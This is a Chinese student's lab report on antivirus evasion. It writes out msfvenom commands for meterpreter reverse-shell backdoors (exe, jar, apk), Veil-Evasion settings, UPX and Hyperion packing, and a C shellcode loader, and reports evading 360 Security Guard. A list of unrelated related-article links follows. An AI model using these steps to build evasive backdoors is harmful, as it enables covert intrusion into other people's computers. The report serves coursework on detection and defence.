- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

- 实验任务

  • 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 2 通过组合应用各种技术实现恶意代码免杀(1分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

- 基础问题回答

(1)杀软是如何检测出恶意代码的?

一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;

还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。

(2)免杀是做什么?

免杀就是通过一些手段对恶意代码进行伪装,达到不被杀毒软件检测出来的目的。

(3)免杀的基本方法有哪些?

有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。

- 实验过程

- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

- 使用msf编码器msfvenom生成后门程序

  • 实验二中生成过一个后门程序,hx_backdoor.exe,把它放到virscan网站中扫描;

28款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.128 LPORT=5206 -f exe > met-encoded10.exe指令进行十次编码;

  • 将生成的后门程序使用virscan进行扫描;

多次编码对免杀并没有太大效果。因为虽然进行多次编码,但恶意代码的特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。

  • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=5206 x> 20165206_backdoor_java.jar指令,生成jar类型的后门程序。

  • 使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.153.128 lport=5206 x> 20165206_backdoor.apk指令,生成Android后门程序,此时其为安装包。

- 使用veil-evasion生成后门程序

  • 我在安装veil时,卡在展开对象3,4个小时,换了其他安装方式依然不能解决,所以最终是拷的别人安装好veil的虚拟机。

  • 使用veil指令,启用veil;

  • 使用use evasion指令,进入veil-evasion;

  • 使用use c/meterpreter/rev_tcp.py指令,进入配置界面;

  • 使用set LHOST 192.168.153.133指令和set LPORT 5206指令,设置反弹连接IP和端口;

  • 输入generate指令,生成文件,再输入生成的playload的名字:playload5206;

  • 找到生成的playload5206.exe,并使用virscan进行扫描。

- 使用加壳工具生成后门程序

- 压缩壳
  • 输入upx playload5206.exe -o playload5206_upx.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_upx.exe使用virscan进行扫描。

- 加密壳
  • 进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5206.exe playload5206_hyperion.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_hyperion.exe使用virscan进行扫描。

- 使用shellcode编程生成后门程序

  • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=5206 -f c指令,生成一段shellcode;

  • 创建20165206.c文件,在其中输入:

unsigned char buf[] =
"粘贴之前用msf生成的buf" int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 输入i686-w64-mingw32-g++ shellcode5206.c -o shellcode5206.exe指令,编译运行;

  • 将生成的shellcode5206.exe使用virscan进行扫描。

- 通过组合应用各种技术实现恶意代码免杀(1分)

  • 使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。

  • Windows上的杀毒软件为:360安全卫士 版本11

  • 实现免杀的结果图:

  • 回连成功的结果图:

- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

  • 对方电脑的杀毒软件为:360安全卫士 版本11

  • 免杀的结果图:

  • 回连成功的结果图:

- 实验过程中遇到的问题

  • 问题:在安装veil时,停留在此界面3个小时,仍未完成。上网查询也没找到原因和解决方案。后来询问同学,觉得问题可能出现kali的版本上,下载最新版本的或能解决问题。

- 开启杀软能绝对防止电脑中恶意代码吗?

通过这次实验,发现开启杀软并不能绝对防止电脑中恶意病毒。只是简单的通过制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的。对于一些技术高的黑客,会使用一些更加复杂和高级的手段,逃过杀毒软件的查杀更是很容易的。

- 实践总结与体会

这次实验让我学习到了很多,初步了解了免杀后门程序以及它的制作,我也实现了制作免杀的后门程序。虽然这次实验相对而言并没有那么的复杂,但却是进一步学习免杀的基础,很有意义。同时,我也通过这次实验意识到,对于很多程序员而言,逃过杀毒软件的查杀植入后门并不是件难事,因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。

2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 【CF1063F】String Journey 哈希

    题目大意 给你一个字符串 \(s\),让你找出最大的 \(k\),满足:能从 \(s\) 中选出 \(k\) 个不重叠的字符串 \(t_1,t_2,\ldots,t_k\),且 \(\forall i ...

  2. SpringMVC配置与使用

    一.MVC概要 MVC是模型(Model).视图(View).控制器(Controller)的简写,是一种软件设计规范,用一种将业务逻辑.数据.显示分离的方法组织代码,MVC主要作用是降低了视图与业务 ...

  3. 第七周java学习总结

    学号 20175206 <Java程序设计>第七周学习总结 教材学习内容总结 第八章: 主要内容 String类 StringTokenizer类 Scanner类 StringBuffe ...

  4. Java:IO流-流的操作规律和转换流

    首先我们先来了解一些IO流基本知识. 一,基本知识概括 具体的IO流有很多种,针对不同的应用场景应该使用相应的流对象.但怎么确定应该使用哪个IO流对象呢? 一般要有四个明确: 1)明确源和目的 源:I ...

  5. sass补充(2019-3-9)

    @each 输出 格式: @each $var in value,value1,value2{ } eg: @each $var1 in 100px,200px,300px{ .box{ width: ...

  6. [面试] Java GC (未整理完)

    Java GC简介 什么是 GC ? Java程序不用像C++程序在程序中自行处理内存的回收释放.这是因为Java在JVM虚拟机上增加了垃圾回收(GC)机制,用以在合适的时间触发垃圾回收. 你都了解哪 ...

  7. 使用容器编排工具docker swarm安装clickhouse多机集群

    1.首先需要安装docker最新版,docker 目前自带swarm容器编排工具 2.选中一台机器作为master,执行命令sudo docker  swarm init [options] 3,再需 ...

  8. SQL数字型注入代码审计

    数字型注入 SQL注入攻击,简称注入攻击,是发生于应用程序与数据库层的安全漏洞. 简而言之,是在输入的字符串之中注入sql指定,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器 ...

  9. vue+element-ui实现显示隐藏密码

    <template> <el-form :model="cuser_info" label-width="115px" label-posit ...

  10. 最小生成树(kruskal算法)

    首先明确三个概念: 1.最小生成树的特点? 答:假设某个连通网络由n个顶点组成,则其生成树必含n个顶点和n-1条边,而最小生成树的n-1条有个要求:总和最小. 2.并查集的运用? 答:在该问题中,首先 ...